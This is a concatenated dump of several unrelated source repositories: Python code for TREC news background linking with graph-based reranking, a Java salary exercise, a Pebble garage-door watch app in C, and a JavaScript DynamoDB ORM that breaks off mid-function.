parser.add_argument('--run-tag', dest='run_tag', default='unspecified_run_tag',
help='specify run tag')
parser.add_argument('--anserini', dest='anserini', default='/Volumes/Samsung_T5/anserini',
help='path to anserini')
parser.add_argument('--textrank', dest='textrank', default=False, action='store_true',
help='Apply TextRank')
parser.add_argument('--use-entities', dest='use_entities', default=False, action='store_true',
help='Use named entities as graph nodes')
parser.add_argument('--nr-terms', dest='nr_terms', default=0, type=int,
help='Number of tfidf terms to include in graph')
parser.add_argument('--term-tfidf', dest='term_tfidf', default=1.0, type=float,
help='Weight that should be assigned to tfidf score of terms (for node initialization)')
parser.add_argument('--term-position', dest='term_position', default=0.0, type=float,
help='Weight for term position in initial node weight')
parser.add_argument('--term-embedding', dest='term_embedding', default=0.0, type=float,
help='Weight for word embeddings in edge creation')
parser.add_argument('--text-distance', dest='text_distance', default=0.0, type=float,
help='Weight for text distance in edge creation')
parser.add_argument('--l', dest='node_edge_l', default=0.5, type=float,
help='Weight for importance nodes over edges')
parser.add_argument('--novelty', dest='novelty', default=0.0, type=float,
help='Weight for novelty in relevance score')
parser.add_argument('--diversify', dest='diversify', default=False, action='store_true',
help='Diversify the results according to entity types')
args = parser.parse_args()
#utils.write_run_arguments_to_log(**vars(args))
if args.diversify and not args.use_entities:
parser.error("--diversify requires --use-entities.")
if args.year is not None:
if args.year == 20:
args.index = 'lucene-index.core18.pos+docvectors+rawdocs_all_v3'
args.db = f'entity_database_{args.year}.db'
args.topics = f'topics.backgroundlinking{args.year}.txt'
args.candidates = f'run.backgroundlinking{args.year}.bm25+rm3.topics.backgroundlinking{args.year}.txt'
args.qrels = f'newsir{args.year}-qrels-background.txt'
print(f'\nIndex: resources/Index/{args.index}')
print(f'Topics were retrieved from resources/topics-and-qrels/{args.topics}')
print(f'Results are stored in resources/output/runs/{args.output}\n')
utils.create_new_file_for_sure(f'resources/output/{args.output}')
# '../database_utils/db/rel_entity_reader.db'
conn, cursor = db_utils.connect_db(f'resources/db/{args.db}')
# load word embeddings
if args.term_embedding > 0 and args.embedding != '':
embeddings = utils.load_word_vectors(
f'resources/embeddings/{args.embedding}')
print('Embeddings sucessfully loaded!')
else:
embeddings = {}
# Load index
index_utils = index.IndexReader(f'resources/Index/{args.index}')
# Configure graph options.
comparator = GMCSComparator()
# Build kwargs for graph initialization:
build_arguments = {'index_utils': index_utils,
'cursor': cursor,
'embeddings': embeddings,
'use_entities': args.use_entities,
'nr_terms': args.nr_terms,
'term_tfidf': args.term_tfidf,
'term_position': args.term_position,
'text_distance': args.text_distance,
'term_embedding': args.term_embedding}
# Read in topics via Pyserini.
topics = utils.read_topics_and_ids_from_file(
f'resources/topics-and-qrels/{args.topics}')
default_graph_builder = DefaultGraphBuilder()
for topic_num, topic in tqdm(topics): # tqdm(topics.items()):
query_num = str(topic_num)
query_id = topic # ['title']
query_graph = Graph(query_id, f'query_article_{query_num}', default_graph_builder)
query_graph.build(**build_arguments)
# recalculate node weights using TextRank
if args.textrank:
query_graph.rank()
# Create new ranking.
ranking = {}
addition_types = {}
# Loop over candidate documents and calculate similarity score.
qid_docids = utils.read_docids_from_file(
f'resources/candidates/{args.candidates}')
for docid in qid_docids[query_num]:
# Create graph object.
fname = f'candidate_article_{query_num}_{docid}'
candidate_graph = Graph(docid, fname, default_graph_builder)
candidate_graph.set_graph_comparator(comparator)
# Build (initialize) graph nodes and edges.
candidate_graph.build(**build_arguments)
# recalculate node weights using TextRank
if args.textrank:
candidate_graph.rank()
relevance, diversity_type = candidate_graph.compare(
query_graph, args.novelty, args.node_edge_l)
ranking[docid] = relevance
addition_types[docid] = diversity_type
# Sort retrieved documents according to new similarity score.
sorted_ranking = utils.normalize_dict({k: v for k, v in sorted(
ranking.items(), key=lambda item: item[1], reverse=True)})
# Diversify
if args.diversify:
nr_types = len(
np.unique([item for sublist in addition_types.values() for item in sublist]))
present_types = []
to_delete_docids = []
for key in sorted_ranking.keys():
if len(present_types) == nr_types:
break
if len(addition_types[key]) > 1:
new_types = utils.not_in_list_2(
addition_types[key], present_types)
if len(new_types) > 0:
present_types.append([new_types[0]])
else:
to_delete_docids.append(key)
else:
if addition_types[key] not in present_types:
present_types.append(addition_types[key])
else:
to_delete_docids.append(key)
for key in to_delete_docids[:85]: # delete max 85 documents per topic.
del sorted_ranking[key]
# Store results in txt file.
utils.write_to_results_file(
sorted_ranking, query_num, args.run_tag, f'resources/output/{args.output}')
if args.year != 20:
# Evaluate performance with trec_eval.
os.system(
f"/opt/anserini-tools/eval/trec_eval.9.0.4/trec_eval -c -M1000 -m map -m ndcg_cut -m P.10 resources/topics-and-qrels/{args.qrels} resources/output/{args.output}")
<file_sep>/bglinking/database_utils/build_db_passage.py
import os
import argparse
import requests
import sqlite3
import math
import re
from bglinking.general_utils import utils
from bglinking.database_utils import db_utils
from bglinking.database_utils.create_db import create_db
from pyserini import index
from tqdm import tqdm
from collections import defaultdict
from operator import itemgetter
import numpy as np
# REL Info
IP_ADDRESS = "https://rel.cs.ru.nl/api"
def get_docids(topics: str, candidates:str, topics_only: bool) -> list:
res_file = f'./resources/candidates/{candidates}'
qid_docids = utils.read_docids_from_file(res_file)
topic_docids = utils.read_topic_ids_from_file(f'./resources/topics-and-qrels/{topics}')
if topics_only:
return topic_docids
else:
return [docid for qid in qid_docids.keys() for docid in qid_docids[qid]] + topic_docids
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--index', dest='index',
default='lucene-index.core18.pos+docvectors+rawdocs_all_v3', help='Document index')
parser.add_argument('--name', dest='name', default='default_database_name',
help='Database name without .db or path')
parser.add_argument('--extractor', dest='extractor', default='rel',
help='Module for entity extraction (rel or spacy)')
parser.add_argument('--candidates', dest='candidates', default='run.backgroundlinking19.bm25+rm3.topics.backgroundlinking19.txt',
help='File with candidates documents (ranking)')
parser.add_argument('--topics', dest='topics', default='topics.backgroundlinking19.txt',
help='Topic file')
parser.add_argument('--topics-only', dest='topics_only', default=False, action='store_true',
help='Use only topic ids')
parser.add_argument('-n', dest='n', default=100, type=int,
help='Number of tfidf terms to extract')
parser.add_argument('--cut', dest='cut', default=9999999, type=int,
help='Cut off used to build smaller sample db.')
parser.add_argument('--passages', dest='passages', default=3, type=int,
help='Number of passages to split on')
args = parser.parse_args()
# Check if database exists if not, create it:
if not os.path.exists(f'./resources/db/{args.name}.db'):
create_db(args.name)
# Index Utility
index_utils = index.IndexReader(f'./resources/Index/{args.index}')
total_docs = index_utils.stats()['non_empty_documents']
# Docids
all_docids = get_docids(args.topics, args.candidates, args.topics_only)
# Connect Database
conn, cursor = db_utils.connect_db(f'./resources/db/{args.name}.db')
# Loop over docids:
pattern = re.compile(r"\. |\n")
for docid in tqdm(all_docids[:args.cut]):
# Extract all paragraphs from doc and store in list.
# Extract lines using regex
contents = list(filter(None, pattern.split(index_utils.doc_contents(docid))))
passages = np.array_split(contents, args.passages)
if len(passages) != 5:
print("encountered incorrect parsing for docid: {}".format(docid))
# Loop over passages
for i, passage in enumerate(passages):
# Join senteces into a single passage
passage = ". ".join(passage)
term_locations = defaultdict(list)
analyzed_terms = index_utils.analyze(passage)
# Tfidf terms
passage_tfs = {term:analyzed_terms.count(term) for term in analyzed_terms}
tfidf_terms = utils.create_top_n_tfidf_vector_paragraph(passage_tfs, index_utils, n=args.n, t=2.0, total_N=total_docs)
for term in tfidf_terms.keys():
term_locations[term].append(analyzed_terms.index(term))
terms = [f'{term};;;{locations};;;{tfidf_terms[term]}'
for term, locations in term_locations.items()]
# Insert into sql database.
cursor.execute('INSERT INTO entities (docid, parid, tfidf_terms) VALUES (?,?,?)',
(docid, i, '\n'.join(terms)))
conn.commit()
conn.close()
<file_sep>/bglinking/graph/graph_builders/InformalGraphBuilderInterface.py
#
# Works as an informal interface in Python.
#
class InformalGraphBuilderInterface:
def build(self,graph, cursor, embeddings, index_utils, docid, use_entities, nr_terms, term_tfidf, term_position, text_distance, term_embedding):
"""Build (initialize) graph."""
pass
<file_sep>/bglinking/graph/graph_builders/DefaultGraphBuilder.py
import numpy as np
from scipy.spatial import distance
import json
from bglinking.database_utils import db_utils as db_utils
from bglinking.general_utils import utils
from bglinking.graph.Node import Node
from bglinking.graph.graph_builders.InformalGraphBuilderInterface import InformalGraphBuilderInterface
class DefaultGraphBuilder(InformalGraphBuilderInterface):
def build(self, graph, cursor, embeddings, index_utils, docid, use_entities, nr_terms=0, term_tfidf=0.0, term_position=0.0, text_distance=0.0, term_embedding=0.0):
# Retrieve named entities from database.
if use_entities:
entities = db_utils.get_entities_from_docid(
cursor, docid, 'entity_ids')
# Create nodes for named entities
# [['<NAME>', '[30]', '1', 'ORG']]
for entity in entities:
ent_name = entity[0]
try:
ent_positions = json.loads(entity[1])
except:
print(f'issue with enitity: {entity[1]}')
continue
ent_tf = int(entity[2])
ent_type = entity[3]
graph.add_node(Node(ent_name, ent_type, ent_positions, ent_tf))
# Retrieve top n tfidf terms from database.
if nr_terms > 0.0:
terms = db_utils.get_entities_from_docid(
cursor, docid, 'tfidf_terms')[:nr_terms]
# Create nodes for tfidf terms
for term in terms[:nr_terms]: # [['<NAME>', '[30]', '1', 'ORG']]
term_name = term[0]
term_positions = json.loads(term[1])
term_tf = int(term[2])
graph.add_node(
Node(term_name, 'term', term_positions, term_tf))
# Determine node weighs
N = graph.nr_nodes()
n_stat = index_utils.stats()['documents']
for node_name, node in graph.nodes.items():
weight = 0.0
if term_tfidf > 0:
tf = tf_func(node, N)
if node.node_type == 'term':
df = index_utils.get_term_counts(
utils.clean_NE_term(node_name), analyzer=None)[0] + 1e-5
weight += utils.tfidf(tf, df, n_stat)
else:
weight += tf
if term_position > 0:
weight += term_position * \
position_in_text(node, docid, index_utils)
node.weight = weight
# Enity weights differ in magnitide from terms, since they are tf only (normalize both individually).
equalize_term_and_entities(graph)
embeddings_not_found = 0
# Initialize edges + weights
for node_key in graph.nodes.keys():
for other_node_key in graph.nodes.keys():
if node_key == other_node_key:
continue
weight = 0.0
if text_distance > 0:
distance = closest_distance(
graph.nodes[node_key], graph.nodes[other_node_key])
weight += text_distance * distance_in_text(distance)
if term_embedding > 0:
weight += term_embedding * edge_embedding_weight(
graph.nodes[node_key], graph.nodes[other_node_key], embeddings, embeddings_not_found)
if weight > 0.0:
graph.add_edge(node_key, other_node_key, weight)
def tf_func(node, N: int) -> float:
if node.tf == 1:
return 1 / N
else:
return (1 + np.log(node.tf-1)) / N
def position_in_text(node: Node, docid: str, index_utils) -> float:
# location refers to the earliest paragraph index (starts at 0, so +1).
return 1/(min(node.locations)+1)
def distance_in_text(distance: int) -> float:
if distance <= 1:
return 1/(1.0 + distance)
else:
return 0.0
def edge_embedding_weight(node_a, node_b, embeddings, embeddings_not_found):
try:
similarity = embeddings.similarity(node_a.__str__(), node_b.__str__())
except:
#print(f'Wd did not found: {node_a.__str__()}, {node_b.__str__()}')
similarity = 0
return similarity
def closest_distance(node_a, node_b):
min_distance = 999999
for locations in node_a.locations:
for other_locations in node_b.locations:
distance = abs(locations-other_locations)
if distance < min_distance:
min_distance = distance
return min_distance
def equalize_term_and_entities(graph):
"""Normalize NE weights and tf-idf weights to obtain comparable weight."""
term_weights = {'dummy0000': 0.0}
entity_weights = {'dummy0000': 0.0}
for node in graph.nodes.values():
if node.node_type == 'term':
term_weights[node] = node.weight
else:
entity_weights[node] = node.weight
normalized_term_weights = utils.normalize_dict(term_weights)
normalized_entity_weights = utils.normalize_dict(entity_weights)
del normalized_term_weights['dummy0000']
del normalized_entity_weights['dummy0000']
for node in graph.nodes.values():
if node.node_type == 'term':
node.weight = normalized_term_weights[node]
else:
node.weight = normalized_entity_weights[node]
<file_sep>/bglinking/graph/graph_builders/NxBuilder.py
import networkx as nx
import numpy as np
from bglinking.graph.graph import Graph
from bglinking.graph.Node import Node
def convert_to_nx(paragraph_id, doc_id, orig_graph: Graph) -> nx.Graph:
# Create new insance of nx Graph
paragraph_graph = nx.Graph()
paragraph_graph.graph['paragraph_id'] = paragraph_id
paragraph_graph.graph['doc_id'] = doc_id
# Add all nodes from original graph to nx graph
for term, node in orig_graph.nodes.items():
paragraph_graph.add_node(term, w = node.weight)
# Add all edges from original graph to nx graph
for edge in orig_graph.edges.items():
edge_values = edge[0]
edge_weight = edge[1]
paragraph_graph.add_edge(edge_values[0], edge_values[1], weight = edge_weight)
return paragraph_graph
def create_document_graph(paragraph_graphs, doc_id, fname, use_gcc=False) -> Graph:
doc_graph = nx.Graph()
central_nodes = []
# Fetch central nodes
for par_graph in paragraph_graphs:
doc_graph = nx.compose(doc_graph, par_graph)
central_node_result = central_node(par_graph)
if central_node_result:
central_nodes.append(central_node_result)
# Create edges
for i in range(len(central_nodes)-1):
doc_graph.add_edge(central_nodes[i], central_nodes[i+1], weight = max(1/np.sqrt(i+1),0.2))
# Create connected graph
if use_gcc:
gcc = max(nx.connected_components(doc_graph), key=len)
g0 = doc_graph.subgraph(gcc)
else:
g0 = doc_graph
g0.name = doc_id
return nx_to_internal_graph(g0, doc_id, "test")
def central_node(graph):
betw_centr = nx.betweenness_centrality(graph)
betw_keys = list(betw_centr.keys())
if betw_keys:
return betw_keys[np.argmax(np.array([betw_centr[i] for i in betw_keys]))]
return None
def nx_to_internal_graph(doc_graph: nx.Graph, doc_id, fname) -> Graph:
internal_graph = Graph(doc_id, fname)
# Convert nodes
for node in doc_graph.nodes:
graph_node = Node(node, 'term', [], 0)
graph_node.weight = doc_graph.nodes[node]['w']
internal_graph.add_node(graph_node)
# Convert edges
for edge in doc_graph.edges:
edge_weight = doc_graph.edges[edge]['weight']
internal_graph.add_edge(*edge, edge_weight)
return internal_graph
| 4932bd7a971f159c7bc5cfe66a9635b598225e36 | [
"Markdown",
"Python"
] | 8 | Python | LiMeijdam/ir-background-linking | f51aea37edfec5cb18b10f078a5f686f7aec414a | 27fd70dcb5fd5877639a1af711f537fb673d0804 |
refs/heads/master | <repo_name>leeh90/becajava.exercicio-logica-programacao2<file_sep>/src/exercicio2/ExercicioLogicaProgramacao2.java
package exercicio2;
import java.util.Scanner;
public class ExercicioLogicaProgramacao2 {
public static void main(String[] args) {
Scanner ler = new Scanner(System.in);
double salario;
double reajuste;
double resul;
System.out.println("Informe o salário: ");
salario = ler.nextDouble();
System.out.println("Informe o reajuste: ");
reajuste = ler.nextDouble();
reajuste = salario * reajuste / 100;
resul= salario + reajuste;
System.out.println("O salário atualizado com o reajuste é: " + resul);
}
}
| f68fe655d3af7e6fa3fccfa56fd6f282757e6a06 | [
"Java"
] | 1 | Java | leeh90/becajava.exercicio-logica-programacao2 | 6285e224e13aad953ba704e335afb9f2f794f122 | 0f46cf82c471c93d50d7fecc40d2e2f1f38377d3 |
refs/heads/master | <file_sep># pebbleGarageDoorOpener
I am trying to implement this project that I came across while browsing.
This is the link to the original designer of this project: http://contractorwolf.com/sparkcore-smart-garage/
Thanks a lot Contractwolf for the good documentation. This project would be interesting.
<file_sep>#include <pebble.h>
#define ENABLE_CLOCK_APP 0
#define ENABLE_GARAGE_DOOR_APP 1
static Window *s_main_window;
static TextLayer *s_text_layer;
static void main_window_load(Window *window);
static void main_window_unload(Window *window);
static void init();
static void deinit();
#if ENABLE_CLOCK_APP
static void tick_handler(struct tm *tick_time, TimeUnits units_changed);
static void update_time();
#endif //ENABLE_CLOCK_APP
#if ENABLE_GARAGE_DOOR_APP
void config_provider(Window *window);
void down_single_click_handler(ClickRecognizerRef recognizer, void *context);
void up_single_click_handler(ClickRecognizerRef recognizer, void *context);
void select_single_click_handler(ClickRecognizerRef recognizer, void *context);
#endif //ENABLE_GARAGE_DOOR_APP
int main(void)
{
init();
app_event_loop();
deinit();
}
static void init()
{
//create main window element and assign to pointer
s_main_window = window_create();
//set handlers to manage the elements inside the window
window_set_window_handlers(s_main_window, (WindowHandlers){
.load = main_window_load,
.unload = main_window_unload
});
#if ENABLE_GARAGE_DOOR_APP
//Register clickConfigProvider for the window
window_set_click_config_provider(s_main_window, (ClickConfigProvider)config_provider);
#endif //ENABLE_GARAGE_DOOR_APP
//Show the window on the watch, with animated=true
window_stack_push(s_main_window, true);
#if ENABLE_CLOCK_APP
//Make sure the time is displayed from start
update_time();
//Register with TickTimerService
tick_timer_service_subscribe(MINUTE_UNIT, tick_handler);
#endif //ENABLE_CLOCK_APP
}
static void deinit()
{
//destroy window
window_destroy(s_main_window);
}
#if ENABLE_CLOCK_APP
static void update_time()
{
//Get a tm structure
time_t temp = time(NULL);
struct tm *tick_time = localtime(&temp);
//Write the current hours and minutes into a buffer
static char s_buffer[8];
strftime(s_buffer, sizeof(s_buffer), clock_is_24h_style() ? "%H:%M" : "%I:%M", tick_time);
//Display this time on the text layer
text_layer_set_text(s_text_layer, s_buffer);
}
static void tick_handler(struct tm *tick_time, TimeUnits units_changed)
{
update_time();
}
#endif //ENABLE_CLOCK_APP
#if ENABLE_GARAGE_DOOR_APP
void config_provider(Window *window)
{
//single click / repeat-on-hold config:
window_single_click_subscribe(BUTTON_ID_DOWN, down_single_click_handler);
window_single_click_subscribe(BUTTON_ID_UP, up_single_click_handler);
window_single_click_subscribe(BUTTON_ID_SELECT, select_single_click_handler);
}
void down_single_click_handler(ClickRecognizerRef recognizer, void *context)
{
Window *window = (Window *)context;
text_layer_set_text(s_text_layer, "Garage Door Status: Close");
}
void up_single_click_handler(ClickRecognizerRef recognizer, void *context)
{
Window *window = (Window *)context;
text_layer_set_text(s_text_layer, "Garage Door Status: Open");
}
void select_single_click_handler(ClickRecognizerRef recognizer, void *context)
{
Window *window = (Window *)context;
text_layer_set_text(s_text_layer, "Garage Door Status Checking...");
}
#endif //ENABLE_GARAGE_DOOR_APP
static void main_window_load(Window *window)
{
//Get information about the window
Layer *window_layer = window_get_root_layer(window);
GRect bounds = layer_get_bounds(window_layer);
//Create the textlayer with specific bounds
s_text_layer = text_layer_create(
GRect(0, PBL_IF_ROUND_ELSE(58, 52), bounds.size.w, bounds.size.h));
//Improve the layout to be more like a watchface
text_layer_set_background_color(s_text_layer, GColorClear);
text_layer_set_text_color(s_text_layer, GColorBlack);
text_layer_set_overflow_mode(s_text_layer, GTextOverflowModeWordWrap);
#if ENABLE_CLOCK_APP
text_layer_set_text(s_text_layer, "00:00");
text_layer_set_font(s_text_layer, fonts_get_system_font(FONT_KEY_BITHAM_42_BOLD));
#endif //ENABLE_CLOCK_APP
#if ENABLE_GARAGE_DOOR_APP
text_layer_set_text(s_text_layer, "Garage Door Status: Close");
text_layer_set_font(s_text_layer, fonts_get_system_font(FONT_KEY_GOTHIC_28_BOLD));
#endif //ENABLE_GARAGE_DOOR_APP
text_layer_set_text_alignment(s_text_layer, GTextAlignmentCenter);
//Add it as a child layer to the window's root layer
layer_add_child(window_layer, text_layer_get_layer(s_text_layer));
}
static void main_window_unload(Window *window)
{
//Destroy TextLayer
text_layer_destroy(s_text_layer);
}
| cf8c90e82cfd5810423c37ec666be2b856a3964d | [
"Markdown",
"C"
] | 2 | Markdown | rutayanp/pebbleGarageDoorOpener | c2518ca3cc26dc9525b2e2758c5d7d8bc9d82c7f | 20189b33e0837dc1f35af523895a68dae51e29e9 |
refs/heads/master | <file_sep>'use strict';
const Ajv = require('ajv');
const reISO = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*))(?:Z|(\+|-)([\d|:]*))?$/;
/**
*
* @param {*} key
* @param {*} value
*/
function reviver(key, value) {
if (typeof value === 'string' && reISO.test(value)) {
return new Date(value);
}
return value;
}
/**
*
*/
class DynormError extends Error {
constructor(msg) {
super(msg);
this.name = this.constructor.name;
Error.captureStackTrace(this, this.constructor);
}
}
/**
*
*/
class Dynorm {
#models;
#client;
#schema;
constructor() {
this.#models = [];
}
get client() {
return this.#client;
}
set client(value) {
this.#client = value;
}
get schema() {
return this.#schema;
}
set schema(schema) {
this.#schema = schema;
}
/**
*
* @param {*} name
* @param {*} schema
*/
model(name, schema) {
if (this.#models[name]) { return this.#models[name]; }
const model = Model.compile(name, schema, this);
this.#models[name] = model;
return this.#models[name];
}
};
const dynorm = new Dynorm();
/**
*
*/
class Schema {
#id;
#methods;
#statics;
#virtuals;
#key;
#validate;
#schema;
#schemaName;
constructor(id) {
this.#id = id;
this.#methods = {};
this.#statics = {};
this.#virtuals = {};
this.#key = {};
const defSchema = Object.assign({}, dynorm.schema);
let schema = null;
for (const schemaName in defSchema.definitions) {
if (defSchema.definitions[schemaName].$id === this.#id) {
schema = defSchema.definitions[schemaName];
this.#schemaName = schemaName;
break;
}
}
for (const propName in schema.properties) {
const prop = schema.properties[propName];
const refSchemaName = prop.$ref;
if (!refSchemaName || !prop.required) { continue; }
defSchema.definitions[refSchemaName].required = prop.required;
delete prop.required;
// Delete self reference Schema
const refSchema = defSchema.definitions[refSchemaName];
for (const refPropName in refSchema.properties) {
const refProp = refSchema.properties[refPropName];
if (refProp.$ref === this.#schemaName) {
delete refSchema.properties[refPropName];
}
}
}
const ajv = new Ajv();
ajv.addSchema(defSchema);
this.#validate = ajv.getSchema(id);
this.#schema = this.#validate.schema;
for (const k in this.#schema.properties) {
const prop = this.#schema.properties[k];
if (prop.hashKey) { this.#key.hashKey = k; };
if (prop.rangeKey) { this.#key.rangeKey = k; };
}
}
get validate() {
return this.#validate;
}
get schema() {
return this.#schema;
}
get methods() {
return this.#methods;
}
get statics() {
return this.#statics;
}
get virtuals() {
return this.#virtuals;
}
get properties() {
return this.#schema.properties;
}
get version() {
for (const k in this.#schema.properties) {
const prop = this.#schema.properties[k];
if (prop.version) {
return k;
}
}
}
get owner() {
for (const k in this.#schema.properties) {
const prop = this.#schema.properties[k];
if (prop.owner) {
return k;
}
}
}
get tableName() {
return this.#schema.tableName;
}
get timestamps() {
return this.#schema.timestamps;
}
get indexes() {
return this.#schema.indexes;
}
get key() {
return this.#key;
}
/**
* Model to DynamoDB Item
*
* @param {*} model
*/
toDynamo(model) {
const item = {};
for (const k in this.#schema.properties) {
if (model[k] === undefined) { continue; };
const prop = this.#schema.properties[k];
if (prop.$ref) {
for (const key in prop.join) {
const v = prop.join[key];
item[key] = model[k][v];
}
} else {
if (model[k] instanceof Date) {
item[k] = model[k].valueOf();
} else {
item[k] = model[k];
}
}
}
return item;
}
/**
* DynamoDB Item to Model
*
* @param {*} item
*/
parseDynamo(item) {
const model = {};
for (const k in this.#schema.properties) {
const prop = this.#schema.properties[k];
if (prop.$ref) {
if (item[k]) {
model[k] = item[k];
} else {
const key = Object.keys(prop.join)[0];
if (!item[key]) { continue; }
const fk = prop.join[key];
model[k] = {};
model[k][fk] = item[key];
}
} else {
if (item[k] === undefined) { continue; };
if (prop.format === 'date-time' || prop.format === 'date') {
model[k] = new Date(item[k]);
} else {
model[k] = item[k];
}
}
}
return model;
}
/**
*
* @param {*} json
*/
parseJSON(json) {
return JSON.stringify(json, reviver);
}
}
/**
*
*/
class Model {
_isNew;
_data;
constructor(data = {}, isNew = true) {
this._isNew = isNew;
this._data = data;
}
/**
* Create a new Model whith a schema
*
* @param {*} name
* @param {*} schema
* @param {*} orm
*/
static compile(name, schema, orm) {
/**
* Model Definition
*/
class NewModel extends Model {
#schema;
#orm;
#orig;
constructor(data, isNew) {
super(data, isNew);
this.#schema = schema;
this.#orm = orm;
this.#orig = Object.assign({}, data);
for (const k in this.#schema.properties) {
// Generate Get/Set funtions to schema properties
Object.defineProperty(this, k, {
get: function () { return Reflect.get(this._data, k); },
set: function (value) { Reflect.set(this._data, k, value); }
});
// Initialize the default values of model
const prop = this.#schema.properties[k];
if (!this._data[k] && prop.default !== undefined) {
if (prop.type === 'string' && prop.format === 'date-time') {
if (prop.default === 'now') {
this._data[k] = new Date();
} else {
this._data[k] = new Date(prop.default);
}
} else {
this._data[k] = prop.default;
}
}
}
}
/**
*
*/
toJSON() {
return this._data;
}
/**
*
*/
async save() {
// Validate relations
for (const propName in this.#schema.properties) {
if (!this._data[propName]) { continue; }
const prop = this.#schema.properties[propName];
if (!prop.$ref) { continue; }
const obj = this._data[propName];
if (obj instanceof Model) { continue; }
const RefModel = this.#orm.model(prop.$ref);
this._data[propName] = await RefModel.get(obj);
if (!this._data[propName]) {
throw new DynormError(`Relation ${propName} not exist`);
}
}
// Validate model
const json = JSON.parse(JSON.stringify(this));
console.log('VALIDATION1', json);
const valid = this.#schema.validate(json);
if (!valid) {
console.log('VALIDATION2', this.#schema.validate.errors);
throw new DynormError(this.#schema.validate.errors);
}
// Validate unique index
for (const k in this.#schema.indexes) {
const index = this.#schema.indexes[k];
if (!index.unique) { continue; }
let hashKey = null;
let hashVal = null;
const prop = this.#schema.properties[index.hashKey];
if (prop.$ref) {
hashKey = Object.keys(prop.join)[0];
const fk = prop.join[hashKey];
hashVal = this._data[index.hashKey][fk];
} else {
hashKey = index.hashKey;
hashVal = this._data[hashKey];
}
if (!hashVal) { throw new DynormError(`Unique index constraint ${k} hashKey ${hashKey} is empty`); }
let rangeKey = null;
let rangeVal = null;
if (index.rangeKey) {
const prop = this.#schema.properties[index.rangeKey];
if (prop.$ref) {
rangeKey = Object.keys(prop.join)[0];
const fk = prop.join[rangeKey];
rangeVal = this._data[index.rangeKey][fk];
} else {
rangeKey = index.rangeKey;
rangeVal = this._data[rangeKey];
}
if (!rangeVal) { throw new DynormError(`Unique index constraint ${k} rangeKey ${rangeKey} is empty`); }
}
console.log(this.#schema);
console.log(this.#schema.tableName);
const params = {
TableName: this.#schema.tableName,
IndexName: k,
ExpressionAttributeNames: {},
ExpressionAttributeValues: {}
};
params.KeyConditionExpression = `#${hashKey} = :${hashKey}`;
params.ExpressionAttributeNames[`#${hashKey}`] = hashKey;
params.ExpressionAttributeValues[`:${hashKey}`] = hashVal;
if (rangeKey) {
params.KeyConditionExpression += ` AND #${rangeKey} = :${rangeKey}`;
params.ExpressionAttributeNames[`#${rangeKey}`] = rangeKey;
params.ExpressionAttributeValues[`:${rangeKey}`] = rangeVal;
}
if (!this._isNew) {
const key = this.#schema.key;
params.FilterExpression = `#${key.hashKey}Pk <> :${key.hashKey}Pk`;
params.ExpressionAttributeNames[`#${key.hashKey}Pk`] = key.hashKey;
params.ExpressionAttributeValues[`:${key.hashKey}Pk`] = this._data[key.hashKey];
if (key.rangeKey) {
params.FilterExpression += ` AND #${key.rangeKey}Pk <> :${key.rangeKey}Pk`;
params.ExpressionAttributeNames[`#${key.rangeKey}Pk`] = key.rangeKey;
params.ExpressionAttributeValues[`:${key.rangeKey}Pk`] = this._data[key.rangeKey];
}
}
console.log('[save]Index', params);
const { Count } = await this.#orm.client.query(params).promise();
if (Count) { throw new DynormError(`Unique index constraint ${k}`); }
}
if (this.#schema.timestamps) {
if (this._isNew) {
this._data.createdAt = new Date();
this._data.updatedAt = new Date();
} else {
this._data.createdAt = this.#orig.createdAt;
this._data.updatedAt = this.#orig.updatedAt;
}
}
const params = { TableName: this.#schema.tableName, Item: this.#schema.toDynamo(this._data) };
// If schema has version porperty, set new version
const ver = this.#schema.version;
if (ver) {
const prop = this.#schema.properties[ver];
if (this.#orig && this.#orig[ver]) {
params.ConditionExpression = (params.ConditionExpression) ? ' AND ' : '';
if (!params.ExpressionAttributeNames) { params.ExpressionAttributeNames = {}; }
if (!params.ExpressionAttributeValues) { params.ExpressionAttributeValues = {}; }
params.ConditionExpression += `#${ver} = :${ver}`;
params.ExpressionAttributeNames[`#${ver}`] = ver;
if (prop.type === 'integer') {
params.ExpressionAttributeValues[`:${ver}`] = this.#orig[ver];
params.Item[ver]++;
} else if (prop.type === 'string' && prop.format === 'date-time') {
params.ExpressionAttributeValues[`:${ver}`] = this.#orig[ver].getTime();
params.Item[ver] = Date.now();
} else {
throw new DynormError(`Version property type ${prop.type} not supported`);
}
} else if (params.Item[ver] === undefined) {
if (prop.type === 'integer') {
params.Item[ver] = 1;
} else if (prop.type === 'string' && prop.format === 'date-time') {
params.Item[ver] = Date.now();
} else {
throw new DynormError(`Version property type ${prop.type} not supported`);
}
}
}
if (this._isNew) {
if (!params.ExpressionAttributeNames) { params.ExpressionAttributeNames = {}; }
const key = this.#schema.key;
params.ConditionExpression = (params.ConditionExpression) ? ' AND ' : '';
params.ConditionExpression += `attribute_not_exists(#${key.hashKey})`;
params.ExpressionAttributeNames[`#${key.hashKey}`] = key.hashKey;
if (key.rangeKey) {
params.ConditionExpression = (params.ConditionExpression) ? ' AND ' : '';
params.ConditionExpression += `attribute_not_exists(#${key.rangeKey})`;
params.ExpressionAttributeNames[`#${key.rangeKey}`] = key.rangeKey;
}
}
console.log('[save]', params);
await this.#orm.client.put(params).promise();
}
/**
*
*/
async del() {
const key = Object.values(this.#schema.key).reduce((a, c) => { a[c] = this[c]; return a; }, {});
const params = { TableName: this.#schema.tableName, Key: key };
await this.#orm.client.delete(params).promise();
}
/**
*
* @param {*} client
* @param {*} fields
* @param {*} items
*/
static async populate(client, fields = [], items = []) {
if (!fields.length) { return; }
if (!items.length) { return; }
const tableKeys = {};
const keys = {};
for (const field of fields) {
const prop = schema.properties[field];
if (!prop) { continue; }
for (const item of items) {
const key = Object.keys(prop.join)[0];
const val = item[key];
if (!val) { continue; }
const fk = prop.join[key];
const RefModel = orm.model(prop.$ref);
const tableName = RefModel.schema.tableName;
if (!tableKeys[tableName]) { tableKeys[tableName] = []; }
// Generate a index table key to avoid duplicate keys
if (!keys[`${tableName}_${val}`]) {
const itemKey = {};
itemKey[fk] = item[key];
tableKeys[tableName].push(itemKey);
keys[`${tableName}_${val}`] = true;
}
}
}
const tableItems = await Model.batchGetKeys(client, tableKeys);
for (const field of fields) {
const prop = schema.properties[field];
if (!prop) { continue; }
for (const item of items) {
const key = Object.keys(prop.join)[0];
if (!item[key]) { continue; }
const fk = prop.join[key];
const RefModel = orm.model(prop.$ref);
const tableName = RefModel.schema.tableName;
